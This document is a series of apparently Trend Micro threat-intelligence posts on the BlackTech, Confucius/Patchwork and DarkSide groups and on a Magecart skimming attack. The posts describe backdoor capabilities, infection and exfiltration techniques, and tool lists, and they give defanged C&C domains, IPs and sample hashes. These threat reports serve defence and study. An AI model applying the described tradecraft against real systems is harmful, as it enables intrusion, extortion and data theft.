This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.
PLEAD also uses CVE-2017-7269, a buffer overflow vulnerability Microsoft Internet Information Services (IIS) 6.0 to compromise the victim’s server.
This is another way for them to establish a new C&C or HTTP server.
Figure 2: One of the methods PLEAD operators use to distribute their malware
PLEAD’s backdoor can:
Harvest saved credentials from browsers and email clients like Outlook
List drives, processes, open windows, and files
Open remote Shell
Upload target file
Execute applications via ShellExecute API
Delete target file
PLEAD also uses the document-targeting exfiltration tool DRIGO, which mainly searches the infected machine for documents.
Each copy of DRIGO contains a refresh token tied to specific Gmail accounts used by the attackers, which are in turn linked to a Google Drive account.
The stolen files are uploaded to these Google Drives, where the attackers can harvest them.
Shrouded Crossbow
This campaign, first observed in 2010, is believed to be operated by a well-funded group given how it appeared to have purchased the source code of the BIFROST backdoor, which the operators enhanced and created other tools from.
Shrouded Crossbow targeted privatized agencies and government contractors as well as enterprises in the consumer electronics, computer, healthcare, and financial industries.
Shrouded Crossbow employs three BIFROST-derived backdoors: BIFROSE, KIVARS, and XBOW.
Like PLEAD, Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and accompanied by decoy documents.
BIFROSE, known for evading detection by communicating with its C&C servers via Tor protocol, also has a version targeting UNIX-based operating systems, which are usually used in servers, workstations, and mobile devices.
KIVARS has less functionality than BIFROSE, but its modular structure made it easier to maintain.
KIVARS enabled attackers to download and execute files, list drives, uninstall malware service, take screenshots, activate/deactivate keylogger, show/hide active windows, and trigger mouse clicks and keyboard inputs.
A 64-bit version of KIVARS also emerged to keep pace with the popularity of 64-bit systems.
XBOW’s capabilities are derived from BIFROSE and KIVARS; Shrouded Crossbow gets its name from its unique mutex format.
Waterbear
Waterbear has actually been operating for a long time.
The campaign’s name is based on its malware’s capability to equip additional functions remotely.
Waterbear similarly employs a modular approach to its malware.
A loader component executable will connect to the C&C server to download the main backdoor and load it in memory.
A later version of this malware appeared and used patched server applications as its loader component, while the main backdoor is either loaded from an encrypted file or downloaded from the C&C server.
The tactic it later adopted required prior knowledge of their targets’ environment.
It’s possible attackers used Waterbear as a secondary payload to help maintain presence after gaining some levels of access into the targets’ systems.
All Roads Lead to BlackTech
Based on the use of the same C&C servers, the campaigns’ coordinated efforts, and similarities in tools, techniques, and objectives, we can conclude that they are operated by the same group.
It is not uncommon, for instance, for a group—especially a well-funded one—to split into teams and run multiple campaigns.
While most of the campaigns’ attacks are conducted separately, we’ve seen apparently joint operations conducted in phases that entail the work of different teams at each point in the infection chain.
Use of the Same C&C Servers.
In several instances, we found the campaigns’ malware communicating with the same C&C servers.
In targeted attacks, C&C servers are typically not shared with other groups.
Here are some of the C&C servers we found that are shared by the campaigns:
C&C Server
PLEAD
Shrouded Crossbow
Waterbear
itaiwans[.
]com
Yes
No
Yes
microsoftmse[.
]com
Yes
Yes
No
211[.]72[.]242[.
]120
Yes
Yes
No
Table 1: C&C servers shared by PLEAD, Shrouded Crossbow, and Waterbear
Additionally, the IP 211[.
]72 [.]242[.
]120 is one of the hosts for the domain microsoftmse[.
]com, which has been used by several KIVARS variants.
Joint Operations.
We also found incidents where the backdoors were used on the same targets.
While it’s possible for separate groups to attack at the same time, we can construe at they are at least working together:
PLEAD
Shrouded Crossbow
Samples from different groups using the same filename
Loader component named after its target, i.e.
{target name}.exe
Loader component named after its target, i.e.
{target name}.exe or {target name}64.exe
Backdoors using the same C&C servers
Connected to 211[.]72[.]242[.
]120:53
Connected to 211[.]72[.]242[.
]120:443
Timeline indicating arrival order
Arrived two days after initial infection by SC
Established presence two years prior, but re-infected at a recent time
Table 2: Incident where PLEAD and KIVARS attack the same target
PLEAD
Shrouded Crossbow
Waterbear
Samples found in same machine
vmdks.exe
cfbcjtqx.dll
tpauto.dll
Timeline of infection
3/16/2017
2/23/2017
3/8/2017
Table 3: Incidents where PLEAD, KIVARS, and Waterbear were used on the same target
Similarities between tools and techniques.
PLEAD and KIVARS, for instance, share the use of RTLO techniques to disguise their installers as documents.
Both also use decoy documents to make the RTLO attack more convincing.
Another similarity is the use of a small loader component to load encrypted backdoors into memory.
Similar Objectives.
The ulterior motive of these campaigns is to steal important documents from their victims; initial recipients of their attacks are not always their primary target.
For instance, we saw several decoy documents stolen by the attackers that are then used against another target.
This indicates that document theft is most likely the first phase of an attack chain against a victim with ties to the intended target.
While PLEAD and KIVARS are most likely to be used in first phase attacks, Waterbear can be seen as a secondary backdoor installed after attackers have gained a certain level of privilege.
Based on the type of documents stolen by these campaigns, we can get a clearer view of who they’re targeting and compromising, the purpose of their campaigns, and when they take place.
Below are some of the categories or labels of the stolen documents:
Address book
Budget
Business
Contract
Culture
Defense
Education
Energy
Foreign affairs
Funding application
Human affairs
Internal affairs
Laws
Livelihood economy
Meeting
Official letter
Password list
Performance appraisal
Physical culture
Press release
Public security
Schedule
Enterprises Need to be Proactive
PLEAD, Shrouded Crossbow, and Waterbear are still actively mounting their campaigns against its targets, which is why organizations must proactively secure their perimeter.
IT/system administrators and information security professionals can consider making a checklist of what to look out for in the network for any signs of anomalies and suspicious behavior that can indicate intrusions.
Adopting best practices and employing multilayered security mechanisms and strategies against targeted attacks are also recommended.
Network traffic analysis, deployment of firewalls and intrusion detection and prevention systems, network segmentation, and data categorization are just some of them.
Trend Micro Solutions
Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware, and targeted attacks in real-time.
It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like the above mentioned zero-day attacks even without any engine or pattern update.
Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats that abuses unpatched vulnerabilities.
OfficeScan’s Vulnerability Protection shield endpoints from identified and unknown vulnerability exploits even before patches are deployed.
Trend Micro™ Smart Protection with Maximum XGen™ security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint—the broadest possible protection against advanced attacks.
An overview and analysis of the various malware used by PLEAD, Shrouded Crossbow, and Waterbear, along with their Indicators of Compromise (hashes, C&Cs), can be found in this technical brief.
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Welcome to our weekly roundup, where we share what you need to know about cybersecurity news and events that happened over the past few days.
This week, learn about Trend Micro’s latest cloud security offering, Cloud One – Application Security.
Also, read about the new IoT law passed in the U.S. to help ward off advanced threats and provide greater security in IoT devices.
Read on:
Leading Protection for Cloud-Based Applications from Trend Micro
Trend Micro announced the availability of its Trend Micro Cloud One – Application Security, a cloud native security solution for modern applications and APIs.
Delivered as part of its industry-leading platform, Cloud One – Application Security provides code-level visibility and protection against the latest cyber threats.
New US IoT Law Aims to Improve Edge Device Security
The Internet of Things (IoT) Cybersecurity Improvement Act, passed by the House of Representatives in September and unanimously approved by the Senate last week, is a step toward warding off advanced threats and providing greater security in IoT devices.
The act aims to create “standards and guidelines” for the federal government to follow with the hopes that the requirements also make their way into private sector manufacturing.
Navigating Gray Clouds: The Importance of Visibility in Cloud Security
With 85% of businesses worldwide using the cloud, it has proven its imperative value, especially during the onslaught of the COVID-19 pandemic when remote work and reliance on the cloud for automation and scalability is the norm.
After migrating to the cloud, enterprises need to be aware of the visibility-related challenges and security risks associated with it.
In this blog, Trend Micro shares security recommendations for organizations to ensure stable security practices in a cloud-first world.
Apple Security Chief Maintains Innocence After Bribery Charges
A grand jury in California's Santa Clara County has indicted Thomas Moyer, Apple's head of global security, for bribery.
Moyer is accused of offering 200 iPads to the Santa County Sheriff's office in exchange for concealed carry permits for four Apple employees.
Weaponizing Open Source Software for Targeted Attacks
In this blog, Trend Micro researchers walk through a recent investigation that involved trojanized open-source software, which is tricky to spot because it takes on the façade of legitimate, non-malicious software, making it especially stealthy and useful for targeted attacks.
However, a closer investigation can reveal suspicious behavior that exposes their malicious intent.
Botnets Have Been Silently Mass-Scanning the Internet for Unsecured ENV Files
Security firm Greynoise found that multiple threat actors, while drawing little attention to themselves, have spent the past two to three years mass-scanning the internet for ENV (environment) files that were accidentally uploaded and left exposed on web servers.
Frameworks like Docker, Node.js, Symfony, and Django use ENV files to store environment variables such as API tokens, passwords and database logins.
Analysis of Kinsing Malware's Use of Rootkit
With the constant evolution of shell scripts and Linux-based malicious backdoors and agents, it’s not surprising that the creators of Kinsing have kept in step.
In this blog post Trend Micro researchers discuss the malware variant’s current capabilities, including the addition of features intended to make it more difficult to detect in infected machines.
The Malware that Usually Installs Ransomware and You Need to Remove Right Away
This article lists the known malware strains that have been used over the past two years to install ransomware, all of which should serve as a "code red" moment for any organization.
Once any of these malware strains are detected, system administrators should drop everything, take systems offline, and audit and remove the malware as a top priority.
Published New White Paper: Practical Risk Assessments for Smart Factories
While cyberattacks that threaten smart factories cannot be ignored, it can be a struggle to decipher which security method is sufficient within your organization’s specific system, as well as where to start.
To design a secure system, risk assessment is required.
This new white paper is intended to simulate risk assessment practices using an example of a fictitious smart factory.
The risk assessment described in this document aims to assess and prioritize the risks of the entire smart factory environment, including IT.
Post-Breach, Peatix Data Reportedly Found on Instagram, Telegram
In a data breach notice to affected users, events application Peatix said it learned that user account data had been improperly accessed.
Upon further investigation, they found that usernames, email addresses, salted and hashed passwords, nicknames, preferred languages, countries and time zones had been compromised.
It’s unclear how many of its 5 million user base were affected or how the breach happened.
Not long after the breach occurred, the compromised data was spotted on ads posted on Instagram stories, Telegram channels and various hacking forums.
How a Ransomware Attack Could Affect Retailers
Cybercriminals have recently been focusing their efforts on the retail industry, launching ransomware-based attacks that could prove disastrous for businesses if it disrupts their operations during important shopping seasons.
A ransomware attack on a retailer could mean thousands of lost sales opportunities in the short-term, and serious damage to reputation in the long-term.
Perception of an “unsafe” business could turn customers towards competitors who can offer a better and more secure shopping experience.
What are your thoughts on the ransomware attacks on retailers as we approach the busiest times of the year for retailers, including Black Friday, Cyber Monday and the holiday season?
Share them in the comments below or follow me on Twitter to continue the conversation: @JonLClay.
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Cybercriminals and malicious hackers have been shifting their tactics, techniques, and procedures (TTPs) to improve their ability to infiltrate an organization and stay under the radar of security professionals and solutions.
Moving to more targeted attack methods appears to be a mainstay among threat actors, which requires organizations to improve their visibility into the entire attack lifecycle.
Gone are the days in which these attacks only target the endpoint, and as such, an expanded connected threat defense is paramount.
Many organizations have been adopting EDR (Endpoint Detection & Response) as a way to obtain more data about attacks on the endpoint.
But as we’ve seen with even ransomware actors, the endpoint is being targeted less.
Rather, attacks are laterally moving within an organization to find critical systems that will allow them to increase their chance of the organization paying the ransom.
(See my recent webinar on trends in ransomware.)
This means the actors behind many financially motivated and targeted attacks will move across the network, and their tracks will be left in other areas of their network, not just on the endpoint.
Expanding EDR to include other areas is the definition of XDR.
The X could be network data, email or web data, data from cloud instances, and others.
This would allow an organization to get visibility into the entire attack lifecycle, including infiltration, lateral movement, and exfiltration.
This will improve the organization’s ability to prevent critical data exfiltration or the compromise of critical systems within their network.
The ability to do this requires a number of key components:
A security vendor who has solutions across the entire network, including cloud, gateway (email & web), network, server, endpoint (includes mobile), and IoT/IIoT
Support for threat intelligence and data analytics.
This should be as automated as possible and should include 3rd party threat intelligence (i.e.
CERT, ISAC, ISAO feeds)
History of expertise in correlating multiple threat vectors and the use of AI and Machine Learning
This will require a major shift from traditional security practices, as many organizations have supported a best-of-breed approach, utilizing multiple vendors (some say 50-100 security applications on average within a large enterprise).
Instead, the future is moving to a more consolidated approach with fewer vendors.
Having multiple vendors for different areas of security results in silos and segmentation due to a lack of integration across the security industry, but XDR could bring a shift in this practice as they include more support for 3rd party intelligence feeds.
Trend Micro has been innovating for 30 years and our breadth of security products allows us to successfully build an XDR solution.
Also, our almost 15 years of investing in and building AI/Machine Learning technologies into our backend and frontend products will allow us to have the data analytics piece covered.
Lastly, we have an extensive array of global threat intelligence that will allow us to ensure we can proactively detect and protect our customers.
Stay tuned for more information about this topic in upcoming blogs.
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Expert Perspective
Updated the appendix on August 30, 2018 to fix formatting and add new information.
Back in February, we noted the similarities between the Patchwork and Confucius groups and found that, in addition to the similarities in their malware code, both groups primarily went after targets in South Asia.
During the months that followed in which we tracked Confucius’ activities, we found that they were still aiming for Pakistani targets.
During their previous campaign, we found Confucius using fake romance websites to entice victims into installing malicious Android applications.
This time, the threat actor seems to have a new modus operandi, setting up two new websites and new payloads with which to compromise its targets.
Fake Android porn app and Windows chat applications as lures
The first website uses adult content as a lure, via an Android application called Fuddi Duniya, which links to a website that displays nude pictures every day.
The app’s APK is linked directly from the homepage, with a disclaimer stating that Google Play does not allow pornography in their store.
Figure 1: fake website with a link to download the Fuddi Duniya app.
The displayed Urdu text could be translated as “Real women, girls, and housewives || Download the app now More than thousands of women app.”
The app’s features are similar to the previous malicious Android application, such as having the ability to record audio and steal SMS, accounts, contacts and certain file types from specific directories.
In addition, the application now retrieves the last known location and uses the development platform Google Firebase to upload the stolen content.
Figure 2: Stealing function excerpt from Fuddi Duniya Android app
The second fake website is again related to chat, with a background suggesting that it can help find users a partner.
Initially, a link to a malicious Android application hosted on Google Play that shared the same features as the application described above was present.
But after we reached out to Google while carrying out the research, the application was removed from the store and the link was removed from the fake website.
Figure 3.
Screenshot of the second fake website
Same as with the fake Tweety chat application we described in detail in our previous research, a Windows application with real chat features based on the open-source chat application RocketChat was offered.
Similarly, this application also comes bundled with malicious .NET code.
While small and relatively simple, we found this malicious application interesting to analyze as it revealed the countries targeted by the threat actor.
The application is a simple downloader that sends some basic information (username, antivirus, IP address, and operating system version) encrypted using triple Data Encryption Standard (DES).
Figure 4.
Sample of the app’s code
Periodically, the malware tries to contact the Command-and-Control (C&C) server with the username encoded into parameters.
Based on the information they retrieve, the operators can then decide to instruct the malware to download the second stage payload.
This function is similar to the various versions of backdoors (such as sctrls and sip_telephone) that we analyzed in our previous blog post and whitepaper.
An interesting feature of the downloader: It uses an online service to retrieve the victim's IP address and country, which it compares with a list of allowed countries.
If the victim seemingly comes from a different country, the program will self-delete and quit.
This list contains:
Most of the South and Southeast Asian countries (including Mongolia)
Most of the Middle Eastern countries
Most of the African countries
Only Ukraine in Europe
Only Trinidad and Tobago in the Americas
No country from Oceania
Figure 5.
Excerpt of the valid country list
We noted that it does both client-side and server-side IP filtering, showing that the attacker has improved its infrastructure.
At the end of last year, a C&C from the same threat actor was not only accessible from any IP address, but it was possible to browse the server directory tree without authentication.
After impersonating a fake victim of interest, we obtained a second stage payload (Detected as TROJ_DELF.XXWZ), which is a filestealer based on the Delphi programming language similar to the “svctrls” malware described in our previous blogpost.
This one is called “sysctrls” and it looks for files with the following extensions:
Extension
File Type
.doc, docx
Microsoft Word document
.xls,.xlsx
Microsoft Excel document
.ppt, .pptx
Microsoft Powerpoint presentation
.pptx
Microsoft Powerpoint presentation
.png, .jpg, .jpeg
Image file
.pst, .ost
Microsoft Outlook file
.csv
Spreadsheet file
It then sends them via a POST HTTP request to windefendr[.
]com/description.php.
Further analysis of this filestealer revealed interesting links with other threat actor groups.
The Delphi Link
We already mentioned that Confucius had possible links to other groups in our previous blog post, which mentioned code sharing between Patchwork and Confucius.
Both groups used a backdoor with the same configuration file structure and commands.
We found more code shared among the two threat actor’s malware, as Patchwork recently used multiple Delphi malware similar to some of the Delphi malware we described before.
We initially spotted some visual similarities between the malware used.
Although no forms are displayed while the malware is running, we can see its TForm object in the Delphi decompiler.
The TForm object often has two TTimer objects — but sometimes we have seen one or even three of these objects — usually with random names.
Occasionally, listboxes with encrypted strings are also added.
Figure 6: Decompiled Form structure of Confucius’ sample (d971842441c83c1bba05742d124620f5741bb5d5da9ffb31f06efa4bbdcf04ee, Detected as TSPY_CONFSTEAL.A)
Figure 7: Decompiled Form structure of Patchwork’s sample (795ae4097aa3bd5932be4110f6bd992f46d605d4c9e3afced314454d35395a59, Detected as TROJ_DELF.XXWZ)
While looking into any of the TTimers’ OnTimer methods, we often found a certain kind of structure: A pointer to an encrypted string stored in an EDX register followed by the call to the decryption function.
Figure 8: Calling the decryption function
This encouraged us to analyze the string encryption routines thoroughly.
Our analysis revealed three of them.
The first involves a very simple routine that flips every bit of the string.
The second algorithm involves a hardcoded key, which is transformed by taking the five lower bits of each character, and then used as a XOR key.
In some cases, the key is split in half in the binary, so it is first reunited before being used.
Finally, our third algorithm uses a 94-character substitution table.
This algorithm was previously discussed by security researchers in a Confucius-related blog post.
For each of these routines, we found a recent sample going back to a domain name belonging to Patchwork’s infrastructure.
The substitution tables of the third algorithm were randomly generated at build time, while the attacker seemingly set the keys used in the second algorithm.
We found six different keys in the latter category that were different for the Patchwork and Confucius group.
Figure 9.
On the left, Confucius code, on the right, Patchwork’s code
Interestingly, one of those keys, “xldbszcd”, was found in a file stealer used by Confucius (472ea4929c5e0fb4e29597311ed90a14c57bc67fbf26f81a3aac042aa3dccb55, Detected as TSPY_CONFSTEAL.A) as well as in two other file stealers.
One file stealer (cca74bb322ad7833a21209b1418c9837e30983daec30d199a839f46075ee72f2, Detected as TSPY_DELF.SUW) published by security researchers in 2013 and linked to the domain myflatnet[.
]com, was attributed by several parties to the Hangover group.
The other file stealer (1f0dabd61947b6df8a392b77a0eae33777be3caad13698aecc223b54ab4b859a, Detected as TROJ_DELF.XXWZ) is related to a domain reported in September 2016.
That report also mentioned InPage software targeting and Delphi backdoors.
Figure 10.
Left: Confucius group, Middle: Hangover group, Right: Unnamed group
After some research, we found multiple Delphi backdoors that used any of the three decryption routines.
The backdoors also linked to an infrastructure matching old Hangover domains as well as the infrastructure of domains from the September 2016 blog post.
Some of these samples were several years old and had left the original name of the bit-flip decryption algorithm, which was “EnDecrypt”.
This algorithm matches the following code snippet.
Patchwork's Ongoing Campaigns
Aside from their Delphi malware, Patchwork is still active.
Lately, they have been sending multiple RTF files exploiting CVE-2017-8570.
The dropped payloads are modified versions of the Remote Administration Tool QuasarRAT that can be traced to the domains sastind-cn[.
]org and tautiaos[.
]com.
Figure 11.
Process tree after a successful infection
The attackers sometimes design the weaponized documents to look like legitimate documents of interest to the target.
The documents are also unusually large — often more than 10 megabytes.
Figure 12.
On the left, the weaponized document.
On the right, the legitimate document from CSBA.
Note that the weaponized document was crafted to look like it came from CSBA but does not imply that CSBA or its related assets have been compromised
The group still uses the Badnews malware, a backdoor with information-stealing and file-executing capabilities, albeit updated with a slight modification in the encryption routine at the end of 2017, when they added Blowfish encryption on top of their custom encryption described in our former Patchwork blogpost.
Defending against Confucius and Patchwork
Threat actors like Confucius and Patchwork are known for their large arsenal of tools and ever-evolving techniques that can render traditional security solutions — which are often not designed to handle the persistent and sophisticated threats detailed in this blog — ineffective.
To help combat these kinds of threats organizations will need to take a more proactive and focused security posture that can cover the most ground in terms of security.
Some specific security measures organizations can implement:
Recognize social engineering attempts.
Malicious mobile apps are common infection vectors for cybercriminals, as they can attract specific target audiences.
In this case, Confucius went with the common adage “sex sells”
Proactively monitor the organization’s network.
Threat actors are notorious for creating stealthy malware that can bypass superficial network monitoring.
A more proactive stance that includes proper application of firewalls and intrusion detection and prevention systems can help mitigate the impact of an attack
Implement network segmentation.
Even with the best security technology, there is still a chance of an attack slipping through.
Separating the network into individual parts, as well as restricting access to only those who really need it, can mitigate the damage that occurs in case of a successful attack.
Update systems regularly.
Everything from endpoints to network software to IoT devices should be patched and updated to prevent or minimize the chance of a threat actor exploiting a vulnerability
In an ideal scenario, an organization’s in-house security team implement all of these and other security measures.
The reality is that IT departments of small to large-sized organizations are not equipped to handle the more advanced threats that groups like Confucius use in their attacks.
Since these teams also handle the day-to-day IT requirements of the organization, taking on a more involved and proactive stance may not be easy.
In this case, an organization can look into third party security providers who can handle specialized work, such as root cause analysis and detailed research, and also provide a remediation plan that gives organizations a better chance against advanced threats.
Trend Micro Solutions
Patchwork uses email as an entry point, which is why securing the email gateway is important.
Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.
Trend Micro™ Email Inspector and InterScan™ Web Security prevent malware from ever reaching end users.
At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of Patchwork’s attacks.
These solutions are powered by Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.
It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protect physical, virtual, and cloud workloads.
This appendix contains the latest indicators of compromise (IOCs) related to the different groups.
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Network
Updated May 17, 2021, 3:25 a.m. Eastern Time: This article has been updated to add references to the DarkSide victim data.
On May 7, a ransomware attack forced Colonial Pipeline, a company responsible for nearly half the fuel supply for the US East Coast, to proactively shut down operations.
Stores of gasoline, diesel, home heating oil, jet fuel, and military supplies had been so heavily affected that the Federal Motor Carrier Safety Administration (FMCSA) declared a state of emergency in 18 states to help with the shortages.
It has been five days since the shutdown prompted by the attack, but Colonial Pipeline is still unable to resume full operations.
Outages have already started affecting motorists.
In metro Atlanta, 30% of gas stations are without gasoline, and other cities are reporting similar numbers.
To keep supplies intact for essential services, the US government has issued advisories against hoarding.
The FBI has confirmed that DarkSide, a cybercriminal group believed to have originated in Eastern Europe, is behind the attack.
The ransomware used by the group is a relatively new family that was first spotted in August 2020, but the group draws on experience from previous financially successful cybercrime enterprises.
Apart from locking Colonial Pipeline’s computer systems, DarkSide also stole over 100 GB of corporate data.
This data theft is all the more relevant in light of the fact that the group has a history of doubly extorting its victims — not only asking for money to unlock the affected computers and demanding payment for the captured data, but also threatening to leak the stolen data if the victims do not pay.
As we will cover later, DarkSide shows a level of innovation that sets it apart from its competition, being one of the first to offer what we call “quadruple extortion services.”
The group announced on May 12 that it had three more victims: a construction company based in Scotland, a renewable energy product reseller in Brazil, and a technology services reseller in the US.
The DarkSide actors claimed to have stolen a total of 1.9 GB of data from these companies, including sensitive information such as client data, financial data, employee passports, and contracts.
Since Darkside is a ransomware-as-a-service (RaaS), it is possible that three different affiliate groups are behind these three attacks.
Even the DarkSide actors themselves admit that they just buy access to company networks — they have no idea how access was acquired.
Trend Micro Research found dozens of DarkSide ransomware samples in the wild and investigated how the ransomware group operates and what organizations it typically targets.
The DarkSide ransomware
DarkSide offers its RaaS to affiliates for a percentage of the profits.
The group presents a prime example of modern ransomware, operating with a more advanced business model.
Modern ransomware identifies high-value targets and involves more precise monetization of compromised assets (with double extortion as an example).
Modern ransomware attacks are also typically done by several groups who collaborate and split profits.
These attacks may look more like advanced persistent threat (APT) attacks than traditional ransomware events.
Here is a short timeline of DarkSide activity compiled from publicly available reports:
August 2020: DarkSide introduces its ransomware.
October 2020: DarkSide donates US$20,000 stolen from victims to charity.
November 2020: DarkSide establishes its RaaS model.
The group invites other criminals to use its service.
A DarkSide data leak site is later discovered.
November 2020: DarkSide launches its content delivery network (CDN) for storing and delivering compromised data.
December 2020: A DarkSide actor invites media outlets and data recovery organizations to follow the group’s press center on the public leak site.
March 2021: DarkSide releases version 2.0 of its ransomware with several updates.
May 2021: DarkSide launches the Colonial Pipeline attack.
After the attack, Darkside announces it is apolitical and will start vetting its targets (possibly to avoid raising attention to future attacks).
Initial access
In our analysis of DarkSide samples, we saw that phishing, remote desktop protocol (RDP) abuse, and exploiting known vulnerabilities are the tactics used by the group to gain initial access.
The group also uses common, legitimate tools throughout the attack process to remain undetected and obfuscate its attack.
Throughout the reconnaissance and gaining-entry phases, we saw these legitimate tools used for specific purposes:
PowerShell: for reconnaissance and persistence
Metasploit Framework: for reconnaissance
Mimikatz: for reconnaissance
BloodHound: for reconnaissance
Cobalt Strike: for installation
For modern ransomware like DarkSide, gaining initial access no longer immediately leads to ransomware being dropped.
There are now several steps in between that are manually executed by an attacker.
Lateral movement and privilege escalation
Lateral movement is a key discovery phase in the modern ransomware process.
In general, the goal is to identify all critical data within the victim organization, including the target files and locations for the upcoming exfiltration and encryption steps.
In the case of DarkSide, we confirmed reports that the goal of lateral movement is to gain Domain Controller (DC) or Active Directory access, which will be used to steal credentials, escalate privileges, and acquire other valuable assets for data exfiltration.
The group then continues its lateral movement through the system, eventually using the DC network share to deploy the ransomware to connected machines.
Some of the known lateral movement methods deployed by DarkSide use PSExec and RDP.
But as we previously noted, a modern ransomware group behaves with methods more commonly associated with APT groups — it adapts its tooling and methods to the victim’s network defenses.
Exfiltration
As is common practice with double extortion ransomware, critical files are exfiltrated prior to the ransomware being launched.
This is the riskiest step so far in the ransomware execution process, as data exfiltration is more likely to be noticed by the victim organization’s security team.
It is the last step before the ransomware is dropped, and the attack often speeds up at this point to complete the process before it is stopped.
For exfiltration, we saw the following tools being used:
7-Zip: a utility used for archiving files in preparation for exfiltration
Rclone and Mega client: tools used for exfiltrating files to cloud storage
PuTTy: an alternative application used for network file transfer
DarkSide uses several Tor-based leak sites to host stolen data.
The file-sharing services used by the group for data exfiltration include Mega and PrivatLab.
Execution and impact
The execution of the actual ransomware occurs next.
The DarkSide ransomware shares many similarities with REvil in this step of the process, including the structure of ransom notes and the use of PowerShell to execute a command that deletes shadow copies from the network.
It also uses the same code to check that the victim is not located in a Commonwealth of Independent States (CIS) country.
In addition to PowerShell, which is used to install and operate the malware itself, the group reportedly uses Certutil and Bitsadmin to download the ransomware.
It uses two encryption methods, depending on whether the target operating system is Windows or Linux: A ChaCha20 stream cipher with RSA-4096 is used on Linux, and Salsa20 with RSA-1024 is used on Windows.
The following figure shows a sample ransom note from DarkSide.
Figure 1.
A Darkside ransom note
It is interesting to note that DarkSide’s ransom note is similar to that of Babuk, which might indicate that these two families share a link.
DarkSide ransomware targets
Based on the group’s Tor leak sites, DarkSide determines whether to pursue targeting a potential victim organization by primarily looking at that organization’s financial records.
It also uses this information to determine the amount of ransom to demand, with a typical ransom demand amounting to anywhere between US$200,000 and US$2 million.
Reports say that, based on the leak sites, there are at least 90 victims affected by DarkSide.
In total, more than 2 TB of stolen data is currently being hosted on DarkSide sites, and 100% of victims’ stolen files are leaked.
The actors behind Darkside have stated that they avoid targeting companies in certain industries, including healthcare, education, the public sector, and the nonprofit sector.
Organizations in manufacturing, finance, and critical infrastructure have been identified in Trend Micro data as targets.
Based on Trend Micro data, the US is by far DarkSide’s most targeted country, at more than 500 detections, followed by France, Belgium, and Canada.
As previously mentioned, DarkSide avoids victimizing companies in CIS countries.
Part of the ransomware execution code checks for the geolocation of potential victims to avoid companies in these countries, although the group would likely be aware of the location of a target organization long before the ransomware is executed.
That the group admittedly spares companies in CIS countries could be a clue to where DarkSide actors are residing.
It is possible that they do this to avoid law enforcement action from these countries, since the governments of some of these countries do not persecute criminal acts such as DarkSide’s if they are done on foreign targets.
After the Colonial Pipeline attack, DarkSide released a statement on one of its leak sites clarifying that the group did not wish to create problems for society and that its goal was simply to make money.
There is no way to verify this statement, but we know that the group is still quite active.
As previously mentioned, DarkSide actors announced that they had stolen data from three more victims since the Colonial Pipeline attack.
MITRE ATT&CK tactics and techniques
The following are the MITRE ATT&CK tactics and techniques associated with DarkSide.
Conclusion
Ransomware is an old but persistently evolving threat.
As demonstrated by the recent activities of DarkSide, modern ransomware has changed in many aspects: bigger targets, more advanced extortion techniques, and farther-reaching consequences beyond the victims themselves.
Ransomware actors are no longer content with simply locking companies out of their computers and asking for ransom.
Now they are digging deeper into their victims’ networks and looking for new ways to monetize their activities.
For example, a compromised cloud server can go through a complete attack life cycle, from the initial compromise to data exfiltration to resale or use for further monetization.
Compromised enterprise assets are a lucrative commodity on underground markets; cybercriminals are well aware of how to make money from attacking company servers.
In the Colonial Pipeline attack, DarkSide used double extortion.
But some ransomware actors have gone even further.
Jon Clay, Director of Global Threat Communications at Trend Micro, outlines the phases of ransomware:
Phase 1: Just ransomware.
Encrypt the files, drop the ransom note, and wait for the payment.
Phase 2: Double extortion.
Phase 1 + data exfiltration and threatening data release.
Maze was one of the first documented cases of this.
Phase 3: Triple extortion.
Phase 1 + Phase 2 + threatening DDoS.
SunCrypt, RagnarLocker, and Avaddon were among the first groups documented doing this.
Phase 4: Quadruple extortion.
Phase 1 (+ possibly Phase 2 or Phase 3) + directly emailing the victim’s customer base or having contracted call centers contact customers.
In fact, as detailed in security reports, DarkSide offers both the DDoS and call center options.
The group is making quadruple extortion available to its affiliates and showing a clear sign of innovation.
In cybercrime, there are no copyright or patent laws for tools and techniques.
Innovation is as much about quickly and completely copying others’ best practices as it is about coming up with new approaches.
Ransomware will only continue to evolve.
Organizations therefore need to take the time to put in place an incident response plan focused on the new model of ransomware attacks.
Unfortunately, some organizations may be putting cybersecurity on the back burner.
For example, some security experts noted that Colonial Pipeline was using a previously exploited vulnerable version of Microsoft Exchange, among other cybersecurity lapses.
A successful attack on a company providing critical services will have rippling effects that will harm multiple sectors of society, which is why protecting these services should be a top priority.
In a US Senate hearing on cybersecurity threats, Senator Rob Portman of Ohio described the strike on Colonial Pipeline as “potentially the most substantial and damaging attack on US critical infrastructure ever.” This attack is a call to action for all organizations to harden their networks against attacks and improve their network visibility.
Trend Micro has a multilayered cybersecurity platform that can help improve your organization’s detection and response against the latest ransomware attacks and improve your organization’s visibility.
Visit the Trend Micro Vision One™ website for more information.
Detailed solutions can be found in our knowledge base article on DarkSide ransomware.
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Articles, News, Reports
We uncovered a recent activity involving the notorious online credit card skimming attack known as Magecart.
The attack, facilitated by a new cybercrime group, impacted 201 online campus stores in the United States and Canada.
We started detecting the attacks against multiple campus store websites on April 14, during which the sites were injected with a malicious skimming script (detected by Trend Micro as Trojan.JS.MIRRORTHEIF.AA) at their payment checkout pages.
The skimming script can scrape credit card information, as well as personal details entered on the payment page.
The stolen information is consequently sent to a remote server.
After looking into this attack, we learned that the attackers compromised PrismWeb, which is an e-commerce platform designed for college stores by company PrismRBS, a subsidiary of Nebraska Book Company.
The attacker injected their skimming script into the shared JavaScript libraries used by online stores on the PrismWeb platform.
We confirmed that their scripts were loaded by 201 campus book and merchandise online stores, which serves 176 colleges and universities in the U.S. and 21 in Canada.
